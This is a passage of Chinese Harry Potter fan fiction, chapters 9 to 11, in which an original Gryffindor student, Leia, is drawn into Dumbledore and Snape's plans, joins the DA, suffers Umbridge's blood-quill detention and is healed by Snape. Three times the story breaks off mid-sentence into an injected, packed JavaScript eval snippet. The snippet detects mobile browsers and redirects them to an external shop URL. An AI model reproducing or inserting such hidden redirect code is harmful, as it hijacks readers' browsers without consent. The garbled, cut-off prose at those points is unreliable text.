“曾经是你的家,”她的对面正站着洋溢一脸得意的乌姆里奇,她的嘴咧得更大了,用幸灾乐祸的语气说着,“直到一个小时前,魔法部长签了你的解雇令为止。现在请你离开大厅。” 蕾雅第一次对哈利将她形容为癞蛤蟆深有同感。 但她没有跟那些学生一样凑过去,只是默默地走到了一个勉强能看见全貌的空处。 刚踮起好奇的脚尖,一阵淡淡的草药味突然飘进了她的鼻腔里。她侧过头,发现原来是自己的魔药学教授,也正站在她的不远处,皱紧抱双臂审视着面前的一切。 闹剧还在继续。 “好了好了,西比尔。”麦格教授的声音响了起来,蕾雅看见她正从人群里挤了过去,坚定地站在了特里劳妮教授的身侧,“你不会离开霍格沃茨的。” “哦,是吗,麦格教授?”乌姆里奇也往前走了几步,气势鼓鼓地挺起了胸,几乎是不屑般看向麦格教授,“这是谁批准的?” 就在这一刻,蕾雅瞥见斯内普突然抬起了头,他敛住眼神,面朝向大门的方向。她便也顺着他的目光看了过去。 远远便能望见橡木大门正缓缓地打开着,一个伟岸又挺拔的身姿伫立在那里,同时灌进来的,还有冬末初春的寒气与朦胧的夜色。 是邓布利多。 “我。”那双蓝色的眼睛越过半个大厅,直勾勾地定在乌姆里奇的身上,但他的脸上却是带着客气的微笑,“您恐怕无权将他们逐出城堡,这个权利恐怕——还属于校长。” 乌姆里奇呆在那里,很快地便怒视着邓布利多,而后者这只是仍然微笑着,平静地摆了摆手继续说道,“请你带西比尔上楼好吗?麦格教授。” 麦格教授脸上有挂着令人安心的笑容,她点了点头,而斯普劳特教授也从人群里大步上前来搀扶起特里劳妮教授。 接下来,蕾雅又听见邓布利多和乌姆里奇争论着新的占卜课教授,马人费伦泽气势勃勃地从大门外一跃进来,这将会是她的新占卜课教授。 说实话,她一直对占卜学没有多少的热情,也许是因为她从来未能获得过任何有意义的结果——就跟她现在的人生一样,每一次都是平平无奇。 同时,她也发现她不是唯一一个默默看着一切的人,她身边的魔药学教授也一直站在那里,紧锁双眉,冷冷地注视一切。 “现在,大家都回去吧。”邓布利多抬起手来,示意一众学生都赶紧离开。 斯内普撇了撇嘴,没什么感情地盯着乌姆里奇看了一阵,准备转过身回去自己的办公室。 就在这个时候,邓布利多越过乌姆里奇仍然呆立在原地的身影,朝这边走了过来。 “等等,斯内普教授。” 蕾雅几乎没看见老先生开口,但声音还是精确地传了过来。并且,她觉得邓布利多明明是唤着斯内普,但视线却竟然是落在她身上,她分明看见老先生牵了一个慈爱的笑容向她点头。蕾雅愣了一下,也朝他行了个注目礼。 而身侧斯内普停住了脚步,背着手转身看向邓布利多,声音里有一些不耐烦,“校长,有事吗?” 邓布利多抽回放在蕾雅身上的目光,只是朝斯内普缓缓地颔首,湛蓝的眼睛里露出一些谨慎。似乎是确保斯内普接收到了他的暗示,邓布利多很快就回过身去,踩上了大台阶。 蕾雅听见斯内普不情愿般砸了一下嘴,他目视前方,又小声地说了一句,“今天不用来了。” 她才发现他是对自己说的,慌忙应道,“嗯。” 斯内普几乎是毫不犹豫就大步跟上了邓布利多。 蕾雅目送着两位巫师的身影匆匆地爬上了那些繁重的台阶,消失在了塔楼的拐角处。 …… “我假设你最好有什么要紧的事,邓布利多。”刚将校长室的门带上,斯内普便直接对邓布利多开了口,语气里带着难掩的厌烦。 “噢,西弗勒斯,放心吧,会很短的。”邓布利多平和地说着,从一边的小桌子上拣起一颗柠檬雪宝,映着对面人那恶狠狠的视线便快速地放进自己的嘴里。 “能不能别浪费我时间,你已经给我安排了够多的事了。”斯内普冷哼一声,自顾自地在沙发上坐了下来。 邓布利多笑着看他一眼,又伸出手去摸起了一颗糖果。 “不行。”斯内普的话似乎是从牙关里挤出来的,适时打断了邓布利多的动作,“如果你是请我来这里挑战我对你吃甜食容忍度的话,恕我无法奉陪。” 邓布利多慢悠悠地看斯内普一眼,才有些不情愿地放下手中的糖,不情愿般走到斯内普对面的沙发上坐下来。 老巫师抬了抬他那瘦削修长的手,两杯冒着热气的红茶缓缓地出现在他们的眼前。 斯内普没有去接,仍旧凝视着邓布利多,是生怕他再往里面加入什么蜂蜜、红糖亦或是糖浆。 “原谅我吧,西弗勒斯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593418|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邓布利多抿了一口红茶,看穿了斯内普的心思,以感慨着的语气说道,“很快,我可能就吃不到这些东西了。” “什么意思。”斯内普直直地看向他。 “哈利的大脑封闭术怎么样了?”邓布利多放下手上的茶杯,将那小巧的眼镜摘了下来,揉了揉自己的眼睛。 “我以为你肯定会对他那贫乏的天赋有清晰的认知?”斯内普冷冷地说着,“就他那个散漫的态度,就是再给我几个月,他也没法练成。” 邓布利多叹了一口气,重新将眼镜带了回去,目光似乎比之前更锐利些,“对他好些吧,西弗勒斯。” “恕我直言,如果你真的为他好,你就该自己教他。”斯内普几乎是冷笑着说出这句话。 邓布利多微笑着看向斯内普,他的眼里似乎闪烁着一些无奈。 斯内普却瞬间从对视中抽出视线,目光不经意便落在了一旁的金属架子上。那里的凤凰福克斯正在啃食一小块生肉,斯内普的眼神短暂停留在那明亮的火红羽毛上。 “也许这是一个错误,但是今晚的情况你也看到了。”邓布利多将手交叠着放在自己的膝盖上,重新开口道,多了些语重心长。 “不过是疯狗发疯罢了。”斯内普仍旧别过脸。 “你我都知道,她不会罢休的。”邓布利多又说,“直到她取代我。” “聪明伟大如你,想必肯定已经做好了完全的对策了。”斯内普不带任何感情色彩地回答。 “我确实试图做好一切对策,”邓布利多继续说着,“但我怎么做,都发现缺少一块……” 邓布利多的话终于让斯内普收回了目光,他拧着眉毛重新看向邓布利多,“缺少一块?” “噢,别担心。”邓布利多意味深长地看着斯内普那张没什么血色的面孔,“就在今天,我确信我找到了这块拼图。” “什么意思?”斯内普挑起一根眉毛看老巫师。梅林知道,他最讨厌的就是邓布利多的谜语,他真的已经厌烦了那些他每次说一半不说一半的话了,一想到这里,他的语气就不由自主地带上了一些急躁,“如果你不是有心要告诉我的话,我宁愿你不要挑起一个开头,邓布利多。” 邓布利多仍旧挂着一点意味深长而又带有一些慈爱的笑容,静静地看着斯内普一阵,懒洋洋地拨了拨自己的花白胡子。 “是叫蕾雅吧,那个格兰芬多的孩子。”邓布利多缓缓地说着,“她的父亲,雷格纳·莱恩哈特,是神秘司的缄默人,专攻黑魔法研究,也是为数不多相信汤姆一定会归来的人之一。” ”你怎么……“ 听到这个名字,斯内普蓦地一愣,眉宇间划过了一丝疑惑。但他很快恢复了平日的冷漠,将滚到了嘴边的话吞了回去。他仅仅是紧盯着邓布利多,似是在思考着这番话的深意,又似是催促着对方继续。 “相信我,霍格沃茨的高墙从来都不是密不透风,西弗勒斯。”邓布利多的声音依旧平静,“我只是想说,如果我被迫离开了这里,为了确保计划的顺利进行,你需要找到一个与那些孩子联系的方式。你我都清楚,你与哈利他们的关系一直很糟糕。至于你身边的德拉科……哦,梅林。” 读懂了老巫师的意思,斯内普很快便再次拧紧了眉毛说道,“那只是一个普通的学生!你要把无辜的人卷进来吗,邓布利多?” “在这场战争里,没有谁是普通人,你应该明白这一点。”邓布利多目光坚定地注视着他,脸上的笑容消失了,语气虽然冷静,却透着一丝不容置疑,“将她留在身边。会有一个时间点,你会明白我这样做的意图的。” 斯内普几乎是不敢置信地瞪了邓布利多一眼,倏地站起身就快步走向门口,随手砰地一声将门关上。 邓布利多盯着那在数次被粗暴对待仍幸存下来的木门一阵,兀自笑了笑。 他迅速从身边的茶几下召来一块方糖,扔进杯中的红茶里,用小勺快速搅动了三圈,急切地品了一口,喃喃自语道:“噢,是需要点甜的。” 9. 试探 也许,乌姆里奇对特里劳妮教授的评价是对的。 因为换了占卜课教授以后,蕾雅第一次看见了不再是平平无奇的占卜迹象。 显然,费伦泽的教学方式与任何霍格沃茨的学生此前经历过的都大相径庭。他将教室布置成了一个充满树木和软草地的森林,天花板上则是一个动态的星空,星星们缓慢地在这片夜空中旋转舞动着。 蕾雅跟其他人一起平躺在教室的地板上,看着这满天星宿,鼻腔则被草本的芬芳充斥着,一时忘记了自己竟然是身处在霍格沃茨的城堡里。 他们按照费伦泽的说法去观察那些星星的轨迹。 就在那里,她很快便看见自己头顶的一颗闪着亮白光的星星,它似乎在缓缓移动,一路越过很多的星星,只朝着一个方向移去。蕾雅看了一阵,发现这个星星是在靠近远处一颗黯淡无光的星星,如同固执般,奋不顾身地一路而去。而随着纯白星星的接近,那颗黯淡的星星开始慢慢亮起。而后,两颗星星绽出光芒,沿着同一个轨道移动了下去。 这是什么意思? 她默默地凝视着星星转动的轨迹,任自己的思绪飘散开去。 一旁的费伦泽静静地走过来,站在蕾雅旁边,低声说道:“在我们的占星术中,暗星转为亮星通常意味着新生或复苏。而亮星向暗星偏移又可以解读为消逝的力量被新发现的活力所激活。无论是哪一种,这都是一件好事。” “啊,谢谢您的解读。”蕾雅侧过头去,朝马人笑了笑,“我是蕾雅·莱恩哈特,很高兴您能来为我们上课。” “噢,你好,莱恩哈特小姐。礼貌的孩子总是能让人心情愉悦。”他那张英俊的脸上铺开了友善的笑容,有些迷人。 蕾雅久久地记住了这位英俊的人马与那幅奇特的星象,其实也并没有想更多地去探究其中的深意,只是单纯地相信着“这是一件好事”。 而这个能为她带来好心情的想法一直持续到她在魔药课下课时分被斯内普叫住的那一刻。 “莱恩哈特小姐,留下。让我们来好好谈一谈你这节课的药水做得到底有多糟糕。”魔药学教授那没什么感情的话语从讲台侧飘了过来。 蕾雅可以清楚地在座位上接收到身边同学那怜悯的神色。身边的赫敏更是直接捏了捏她的手,以表示安慰和同情。 “我、知道了,先生。”她忐忑地应道,一边努力地回想着自己刚刚到底是哪一个步骤出了错。 等教室里的人都快速地退了出去,斯内普不耐烦般用指关节叩了叩他的讲台,对她说道:“把门关上。” 她几乎是不敢迟疑地便走过去将魔药学教室的门轻轻关上。 下一个瞬间,她瞥见斯内普举起了魔杖对着门口的方向不知道念了一个什么咒语。 “过来。”斯内普冷冰冰地说着,抬手一挥将身后黑板上的笔迹擦掉。 她又点了点头,走了过去,视线落在他搁在讲台上的手上。那是一只苍白而瘦削的手,他的指关节很大,正因为他微微握拳而泛白着。 “重复一遍今天配置的补血剂步骤。”他回过身来,拿起了一瓶贴着名字的药水端详着,一边又在面前那本花名册上潦草地写下成绩。 蕾雅愣住了一瞬,很快便将心里的杂念抛开。深吸了一口气,她试图把记忆中的步骤组织成语言,“首先,用研钵和研杵细致地研磨霍克拉普根以提取汁液,确保动作温和,以免破坏其活性成分。然后,过滤提取汁液。白鲜草的叶子切成细条,这样可以更好地释放其内部的药效。最后,将这些都加入预热的坩埚中,顺时针六次搅拌均匀,倒入三滴龙血,逆时针……” 但是背着背着,看着斯内普那不为所动给药水打着分的动作,蕾雅突然像是没了信心一样,语气也弱了下去。 等她一口气说完了这些话,斯内普才将手里地魔药放下,淡淡地说了一句,“不错。” 蕾雅被他的反应弄得有些疑惑了,小声地问道,“先生,我的魔药步骤是哪里出了错吗?” 斯内普轻哼一声,没有说话。蕾雅更加疑惑地看着他勾着的嘴角,顺着他的视线低头下去,只见他用手指点着花名册,一路顺着找到了她的名字,在隔壁写了一个“E”。 “呃……”蕾雅彻底蒙住了。 她从来没有在魔药学上得过“E”,此刻她真的开始相信费伦泽说的“好事发生”了。 “我建议,你该对自己配置的魔药有一点信心,莱恩哈特小姐。”斯内普将花名册翻过了一页,继续批改着,又补充道,“记住,这是O.W.L考试几乎必考的。” 她突然意识到,这是斯内普在履行他之前所说的承诺——坚持一个月,他便会指导她的考试。 “谢谢您,先生。”她几乎是瞬间抬起头来,感激地朝他绽开了一个笑容。 “嗯。”斯内普只是轻轻回了一句,突然将手上的东西放下,抬起头来看向她,“那么,我还有一个问题要问你。” “是什么问题呢?”蕾雅认真地对上他的视线。 “我很好奇。” 斯内普的声音稍显低沉,随后用一种试探性的语调继续说道,“你那位救世主朋友和他的伙伴们,近来都在忙些什么?” 听见这个问题,蕾雅几乎是瞬间呆住了。她有想过很多关于魔药学的问题,却没想过斯内普会问他关于哈利的事。 见她不说话,斯内普用黑色的眸子紧盯着她,她从那里面看不出任何的感情,仿佛只是在麻木地完成一件无关紧要的事。 “呃……先生,您为什么想知道呢?”蕾雅不安而警惕地问道。 “我没有允许你问我问题,莱恩哈特。”刚刚浮在心上的喜悦全部都被斯内普的冰冷而打散了。 蕾雅闭上了嘴,小心而谨慎地观察着斯内普,觉得自己的身体开始变得有些僵硬。 斯内普也挑着眉毛凝视着她,看见她的神色紧张。他耐心地等待着她的回答,那双黑色的眸子如能洞察人心一样深不可测,不怒自威。 她舔了舔嘴唇,看了他一阵便将视线移开,盯着地板,双手不安地开始捏住自己的裙角。 梅林知道,她可不喜欢在背后告密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但是,我知道您跟乌姆里奇不一样。” 蕾雅紧紧凝视他,似乎想要从他的眼里寻求答案,“邓布利多先生他相信您,不是吗?” 斯内普愣了一下,硬是没说出话来,只是迅速侧过脸,将自己的脸沉在自己的黑发里。 “您问这些,是为了保护他们,不是吗?”她又说,目光仍然殷切。 斯内普发现自己几乎难以与她对视,只得脱口而出,“出去吧。把这个事忘掉。” 蕾雅最后望了他一眼,然后缓缓地转身走向教室门口。 走出教室前,她没有回头,但在门口停顿了一下,轻声说道:“谢谢您,斯内普教授。我会再来找您指导的。” 他实在是痛恨那双眼睛。 更痛恨的是,刚刚自己当着她面给她打了个“E”。 更更痛恨的是,他确实觉得她替他整理的魔药材料确实整得不错。 烦躁。斯内普想到。 10. 守护 “蕾雅,你是说真的?” 面前这个一脸难以置信的人,正是自己的室友兼好友,赫敏·格兰杰。 “不是,你爸爸不会生气吗?” 另一个挂着难以置信表情,嘴巴张得老大的人,是一头红发的罗恩·韦斯莱。 “你真的决定加入我们?” 比前面两个人镇定一些的,一脸有些欣喜若狂的是救世主男孩,哈利·波特。 加上这个黑发少女,他们四个人正好围在一起坐在公共室的小茶几周边。 “我爸爸不会知道这件事的。”蕾雅扫过他们三个的殷切目光,诚恳地点着头,“我下定决心加入了,希望现在不太晚。” “不晚!当然不晚!人越多越好!”哈利立马咧开了大大的笑容,“我们下一次就要学守护神了,你来得正是时候。” “谢谢……”蕾雅冲他们扯出一个微笑,“我很期待!下一次会是什么时候呢?” “唔,反正不是周三。”哈利答道,有点心虚地看着蕾雅。 “啊,是因为……”蕾雅意识到她答应了他要保守秘密,连忙捂住了自己的嘴,朝他点点头。 没想到哈利看了一眼赫敏和罗恩,笑了起来,“那是我骗你的,不是魔药学补课,赫敏和罗恩都知道。” “诶?”蕾雅惊讶地看向身边的二人。赫敏捏了捏她的手腕,说道,“其实,斯内普在教哈利大脑封闭术,每周三六点,所以我们的训练不会是周三。” “大脑封闭术?”蕾雅惊呼一声,极力地在自己的脑海里搜索着关于这个魔法的知识,却发现自己几乎不曾读过相关信息。 “就是……”哈利试图解释道,茫然地朝天花板看了一会儿,“就是教会我怎么封闭我的大脑,这样别人就不能从我的大脑里获取他们想要的信息了。” “啊!是为了抵御摄神取念吗?”蕾雅几乎是立马回答道。 倒是赫敏一脸吃惊地问,“你知道摄神取念?” 蕾雅意识到自己可能透露了不该透露的信息,迅速摆了摆手,“我爸爸跟我提过一嘴,说魔法部审问的时候会用到。” “哦是这样……”赫敏表示理解地颔首。 难怪啊,难怪哈利看起来像是被巨兽追过一样,斯内普每次周三也看起来比平时要疲惫一些。精神类的魔法从来都会对施加者造成巨大的负担,这点她还是知道的。 噢,也难怪他要自己七点十五分去,还问自己有没有见到什么人。蕾雅瞬间串起了一些信息。 想起来,其实自从试探出斯内普的意图,蕾雅就在思虑着自己是否需要加入D.A.。如果斯内普是将她作为他与他们之间的信息传递点的话,她为何不积极获取多一些信息呢? 也许,只要斯内普多知道一些,赫敏和哈利他们就能多安全一分。蕾雅想着便很快就下定了决心。 只是她没想到,她的D.A.活动仅仅开展了一次。 正当她稳稳地跟着哈利念出“Expecto Patronum(呼神护卫)”的咒语并惊喜地看着一头小狮子从自己的魔杖尖端跃动而出,欢快而凶猛地加入正在有求必应屋里的动物群里的时候,她怎么会知道,下一刻多比就惊恐地拉着哈利说起乌姆里奇发现了他们这件事。 怎么会呢?就是她参加的第一回,就是在她告诉斯内普之后的第一回,便被发现了。 她皱着眉思索了一下,觉得应该不是斯内普告诉乌姆里奇的,既然邓布利多信任斯内普…… 缥缈的思绪瞬间被哈利大吼的一声快跑强制抽回,瞬间,整个有求必应屋都乱成了一团,各种颜色的校服长袍几乎挤在了一起,正涌向门口。 “哈利,快走!”刚刚站得最近的赫敏朝哈利喊道,下一刻,她几乎是无意识地就抓住了身边蕾雅的手就拉着往外面跑。 等她们冲出有求必应屋的时候,蕾雅分明看见了德拉科背贴着墙壁,阴险地笑着,他正对着哈利举起魔杖。 随着他的一声绊脚咒,哈利猛地倒在了地上。 “不行!哈利还在那里!”蕾雅几乎是瞬间就跳了起来,一股剧烈的愤怒从心里涌了出来,下一刻她就从口袋里摸出了魔杖指向墙边的德拉科。德拉科放肆地笑着,以魔杖指向了她。 “不行!蕾雅,不是现在!我们得快跑!”赫敏用力地拽着她头也不回地往长廊跑去。 就在那个晚上,蕾雅坐在她说要加入D.A.的同一个沙发上惊恐地听着哈利说邓布利多是怎么一个人对付了五个人以后逃走了的事。 一时间,她都不知道是该感叹邓布利多法力惊人,还是该感叹他们失去了一位可敬的霍格沃茨校长。 “他会回来的。”哈利坚持地说道。 她坚定地点点头。 而且,虽然昨天已经尽力奔跑了,但大部分的人还是在第二天的早上被乌姆里奇捉了回去了。 因为最后指向德拉科的魔杖,蕾雅也被这个马尔福家的男孩狠狠地记住了样子,跟赫敏和拉文德一起被费尔奇压着带到乌姆里奇的办公室。 几乎参与训练的所有人都在这里,除了哈利,蕾雅没想清楚是为什么。 乌姆里奇领着他们一群人走进了一间空教室,她的脸上又开始扯着得意而令人作恶的笑容。 “各位同学们,都坐下吧。”她笑着说,声音甜腻得让人难受。 蕾雅挨着赫敏找了个位置坐了下来。 “我猜,大家都是一时迷糊了才会参加了不应该参加的聚会。”她眯了眯那突出的眼睛,“这样是不行的,对吗?” 教室里鸦雀无声,蕾雅可以清楚看见纳威、赫敏、罗恩的脸上都是一股强烈的恨意。 “为了让你们记住,不可以参加这样的坏事。你们将用你们面前的这支羽毛笔,抄写’我不得做坏事’……”她顿了顿,脸上仍然挂着笑容,“我想想,就十次吧。” 很显然,大家都听哈利说过这支笔的故事,但是谁也没有发出一句声音,也不屑于与她争辩任何,几乎是立刻就低着头去开始了抄写。 蕾雅拿起那支羽毛笔,盯着那尖利的笔尖,又看着面前悠然自得坐在讲台前喝着红茶的乌姆里奇,恨不得拿出魔杖朝她来一发四分五裂。 她一边加强着自己心中的念头,一边开始了抄写——乌姆里奇,总有一天你会有报应的。 “I must not do bad things.” “I must not do bad things.” “I must not do bad things.” …… 这些字母就跟她一遍又一遍加强的恨意一样,一笔又一笔地刻进了肉里,巨大的刺痛感很快便从她的左手背上一阵阵地袭来。 那感觉,就像是生生将皮肤一次次地割开,挑着她最幼嫩的皮肤,一次次、往更深的地方刻进去。她白皙的手背很快便涌出了鲜艳的血痕,她不得不将左手紧紧攥成拳头,祈祷这个动作能减轻一点痛楚。 蕾雅低头看着自己被自己的笔迹画的鲜血淋漓的手背,周边的皮肤红肿着,伤口疼得她的额头直冒冷汗。明明上一次受伤的时候,她是那么温柔地得到了照顾—— 不行,她不可以示弱,当她下定决定加入D.A.的时候,她就再也不是置身事外了,她就再也不是,从前那个可以默默地看着一切的局外人了。 当终于抄完最后一句时,所有人的手都几乎丧失了知觉,乌姆里奇依次用她那肥短的手指头触摸过他们的伤口,然后才不紧不慢地说:“你们可以走了,希望今天的教训能让你们记住,霍格沃茨是有规矩的地方。” 蕾雅和赫敏几乎是瞪着乌姆里奇离开这个教室的。 刚走到长廊上,温暖的早晨阳光恰好照在刚刚抽芽的藤蔓上,一切都那么生机盎然。 明明是那样美好的景象,蕾雅却觉得这个世界充满了恶意。 女生们刚走到拐角便忍不住哭了起来,连赫敏都很快地便与她告别了跑向了洗手间。而蕾雅却很意外地觉得一点想哭的感觉都没有,她低着头看着霍格沃茨那些陈旧的石地板,紧紧地捂着自己的左手。此时,比起疼痛,她更需要努力按压下心中剧烈的怨恨感,努力压下自己返回去乌姆里奇办公室给她来一发四分五裂的冲动。 也许这也是她这十七年来,第一次如此强烈地、迫切地感受到人类情感。 她被迫用力地想起她父亲那一次对她强调着只希望她健康、快乐地成长的笑容,才将那种复仇感抑制住一些。 这个世界,真的太糟糕了,麻木地避开一切并不能让人健康而又快乐成长的。今天,她学会了这件事。 “唔?” 一声熟悉的低沉声音从她前方传来。 蕾雅倏地抬起头去,正对上一双深邃而冷硬的黑眸。 斯内普大步朝这边走来,扫视了她一眼。 “教……”她忍着痛,努力平复自己脸上扭曲的表情,想跟他打个招呼。 但斯内普却似乎没有给她这个机会,他目视前方,快步地越过她。她看见他手里拿着一瓶透明的魔药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593420|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是,仅仅是擦肩而过一瞬,她听见他说。 “我办公室。” 蕾雅在那里站了好一会儿,直到斯内普的身影完全消失在走廊转角处。她意识到,他应该是去乌姆里奇的办公室。 然后,她深吸一口气,朝图书馆塔楼的方向走去。 …… 她轻轻地推开地窖办公室的门,这里一如既往的昏暗阴冷。 斯内普的办公桌上仍然放着他批改到一半的作业。他应该被叫得很匆忙,因为羽毛笔几乎是撇在了一边,她远远地就看见有一些巨大的墨痕在羊皮纸上晕染开了。 她连忙走过去,将羽毛笔拿起来,重新放在笔架上。 几乎是与此同时,她注意到了斯内普那已经凉掉的茶水,里面放着的正是她送的茶包。 蕾雅突然觉得斯内普这办公室比起乌姆里奇看起来粉红温馨的办公室要温暖得多。 她站着等了一阵,斯内普还是没有回来。而手背却开始生生疼了起来,疼得她直冒冷汗。 于是,她只得跟第一次来的时候一样抱着自己的双膝坐在了地上,将随身携带的笔记本拿了出来,试图分散一下自己的注意力。 不知道过了多久,正当她在笔记本的最后一页涂画着乌姆里奇的丑相时,那扇木门被推开了。 她愣了一下,也没来得及爬起来,只能抬起头看向迈着步子走进来的斯内普。 门在他身后快速地关上。 他朝她走来,黑眸冷冷地上下打量了她一下。 “我是否应该为你对学习的热情感到感动?”斯内普说,语气里有些嘲讽的味道,“莱恩哈特小姐,我假设你应该能分辨出我桌上哪些是白鲜药水?如果我不回来,你是准备把我这里当成自习室吗?” “啊……”意识到斯内普竟然是在关心自己,蕾雅没缘由地觉得自己鼻子一酸,“不是的……我只是怕您说我乱翻您东西。” 斯内普撇了撇嘴,手腕熟练地一挥魔杖,从架子上召来了一瓶药剂。 “谢谢您教授。我自己来就……”她刚要起身,却发现他已经蹲了下来,她看见他沉着脸色,双眼里面有浓烈的冷意。 斯内普压着声音说道,“如果你是想在手背上留下这句话,我没有任何意见。” “呃……”蕾雅微微一怔。 “手。” 她还没完全反应过来时,就感觉到他已经牢牢扣住了她的手腕,轻而易举地将她的手提了起来。 他的手掌真的很温暖。 跟之前一样,他皱着眉用很轻的动作将药水浇在那些已经模糊不清的伤口上面,又以魔杖指向那些斑驳,薄唇轻轻地念着一个几乎听不见的咒语。 淡淡的暖白色光芒从他的魔杖尖端缓缓流出,像是温暖的河流一样淌过她的手背,轻柔得不着痕迹。 她凝视着那些像波纹一样散开去的魔法光芒,看着那一个个字母从他的魔杖下面消失,眼上慢慢地、缓缓地泛起了氤氲。 回过神来时,她发现自己的喉咙哽咽无比,连谢谢都没能说得出口。 斯内普重新起身来,走到一侧的药架子上翻下来几瓶药水,搁在门前的柜子上。 “这些带走。”他淡淡地说道。 她平复过心情,用力地抹了抹自己的眼睛,顺着他的话看见那些药水,她知道那是让她带回去给其他人的。 “谢谢您,斯内普教授。”蕾雅站起身来,对着已经走到窗边背对着她的黑色身影鞠了一个躬。 “今天不用来了。”他又说道。 “请允许我来吧,整理材料能让我冷静一些。”她安静地说着,“不然我总觉得自己会做出什么出格的事。” 斯内普只是轻哼了一声。 “那么,我先不打扰您了。”蕾雅走过去将那些药瓶抱在怀里,又说道,“真的很谢谢您。” “嗯。” “先生……”蕾雅腾出右手来拧开他的木门,又回过头来。 她看着那个逆着光的身影,眼里仍然觉得那朦胧得不像是真的。 她斟酌了一阵,有些害怕般开口道,“您也会,跟他们一样离开霍格沃茨吗……”? 斯内普在窗前顿了一顿,缓缓转过身来,光晕擦过他的肩线,勾勒出一个模糊的轮廓。 他的目光透过那些办公室里斑驳的日光,穿越了一个办公室,定格在静静伫立在门口的少女身上。 “不会。”他说。 “还有,如果你决心要参与到那些愚蠢的事里,我建议你表现得更加聪明些。”他又说。 11. 意识 赶在午饭于礼堂集合的时分,蕾雅和赫敏一起用那些药剂一一治疗了过去,她负责上药,赫敏负责施咒。 蕾雅环视了一周,发现四处都没有哈利的身影,可怕的是乌姆里奇的身影也没有出现在教师席里。一种对乌姆里奇可能再次做出什么出格事情来的恐惧感从她心里升了上来,她为哈利留了一瓶药水在身上。 默默地做完了这些,蕾雅与赫敏如同松了一口气一样回到格兰芬多的长桌上,她注意到赫敏的眼睛还带着一些红,当然,很多人都是。 虽然桌子上面正放着霍格沃茨家养小精灵们准备的丰盛午餐,但是大家的食欲好像都消失了,只是机械而胡乱地往嘴里塞着一些维持体力的食物,交谈也不过寥寥数语。 “蕾雅,这些药水是哪里来的?它们的效果真的很好。”赫敏用叉子一遍遍地翻着盘里的食物,看向黑发少女,似乎想找一个能说话的话题。 蕾雅有些心虚地看向了别处,思索着是否该告诉他们是斯内普给的。 但是…… ——“把这个事忘掉。”那天在魔药学教室里的话突然被回想起来。 斯内普或许并不希望被知道他在帮助他们,而且……如果曝光的话。 蕾雅几乎是下一刻就从自己的口袋里掏出了一封信,特意般朝其他人挥了挥,“爸爸刚刚寄过来的。” “你爸爸?他这么快就知道了这件事了?”罗恩从对侧吃惊地抬起头来,他的目光落在信封上的狮子头火漆封蜡上,“呃,莱恩哈特先生他有没有很生气?” “嗯……怎么说呢。”蕾雅踌躇了一下,她更加心虚地将信重新塞回口袋里“比我想象中的要不生气一些,只是些叮嘱。” 蕾雅是在午餐前收到猫头鹰投来的这封加急的家书,她也很惊讶莱恩哈特先生是怎么在早上就已经知道了这件事情的,不得不意识到霍格沃茨与魔法部之间的联系比她想象中的要紧密多了。 在那封信里,莱恩哈特先生先是心疼地问她有没有得到有效的治疗,又语重心长地一再嘱咐她不要再参加那些危险的活动,最后他重申道他只希望他的宝贝女儿健康快乐地成长。但是蕾雅知道,自昨天以后,她的世界不再跟之前一样了。 “他果然很生气吧?”罗恩有些抱歉地看着蕾雅,“我们真的不应该把你牵扯进来的。” “魔法部和霍格沃茨现在的联系也太紧密了。而且跟我们爸爸不一样,莱恩哈特先生在重要部门,肯定马上就得知了消息。”另一侧的金妮皱着眉头分析着。 蕾雅只是笑了笑点着头,连忙岔开话题,“别说这个了。哈利呢?怎么乔治和弗雷德也不在?” “噢,关于这个。”罗恩抖了抖眉毛,有些神秘地看向她,“你马上——” 几乎是跟他那绽开兴奋笑容的同一时间,一声巨大的轰鸣在礼堂的高窗外炸裂开来。 蕾雅倏地回过头去,旋即便透过礼堂的高窗看见了一朵绚丽的、五彩缤纷的烟花盛开在了庭院上空。紧接着,从那里面冲出一个像是火箭的东西,它带着长长的闪耀尾巴迎着风一直往上,一直飞到了高空上面——“砰”地一声,一条吐着火焰的巨龙盘旋在霍格沃茨的空中。 下一个瞬间,礼堂里响起了一阵热烈的欢呼声,蕾雅连忙回过头去,只看见正飞进来一条绿色的龙,它身形矫健,所经过的地方都洒下了金灿灿的火花。它正以极快的速度直直地冲教师席跃去,教师席上的教授们有些讶异地看了一阵,几乎是不约而同地笑着交换了一个眼色就匆匆地离开了。 “这是?”蕾雅扔下了手中的叉子,疑惑而又吃惊地看着话说了一半的罗恩。 “不用想也知道是谁干的吧?”赫敏的脸被那些烟花映得很明朗,她笑着说,“我只能说,干得太好了!” “干得好!”罗恩挨着金妮,小声地吹了一声口哨。 蕾雅跟着他们一起走到了门厅,学校的每个角落都涌出了各种形状的火龙,它们钻进了学校的每一条走廊,一路带着高扬而炽热的火流,引起拍手与欢呼。整个霍格沃茨此时像是终于从长久的压抑中苏醒一般热闹着。 